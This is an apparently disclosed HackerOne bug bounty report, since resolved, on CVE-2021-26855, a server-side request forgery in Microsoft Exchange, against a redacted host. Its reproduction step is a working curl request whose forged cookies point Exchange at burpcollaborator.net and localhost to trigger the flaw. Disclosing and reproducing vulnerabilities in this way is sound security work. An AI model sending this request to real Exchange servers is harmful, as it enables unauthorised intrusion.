CVE-2021-26855 on ████████ resulting in SSRF
Critical
Vulnerability Details
**Description:**
***CVE-2021-26855*** exists on ***███████ resulting*** in SSRF
## References
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-26855
https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-26855
## Impact
Server Side Request Frogery
## System Host(s)
███████
## Affected Product(s) and Version(s)
## CVE Numbers
CVE-2021-26855
## Steps to Reproduce
```
curl -i -s -k -X $'GET' \
-H $'Host: █████' -H $'User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 11.1; rv:86.0) Gecko/20100101 Firefox/86.0' -H $'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8' -H $'Accept-Language: en-US,en;q=0.5' -H $'Accept-Encoding: gzip, deflate' -H $'Connection: close' -H $'Upgrade-Insecure-Requests: 1' \
-b $'X-AnonResource=true; X-AnonResource-Backend=burpcollaborator.net/ecp/default.flt?~3; X-BEResource=localhost/owa/auth/logon.aspx?~3' \
$'https://████████/owa/auth/x.js'
```
OUTPUT:
██████████
## Suggested Mitigation/Remediation Actions
Actions
View on HackerOneReport Stats
- Report ID: 1119228
- State: Closed
- Substate: resolved
- Upvotes: 5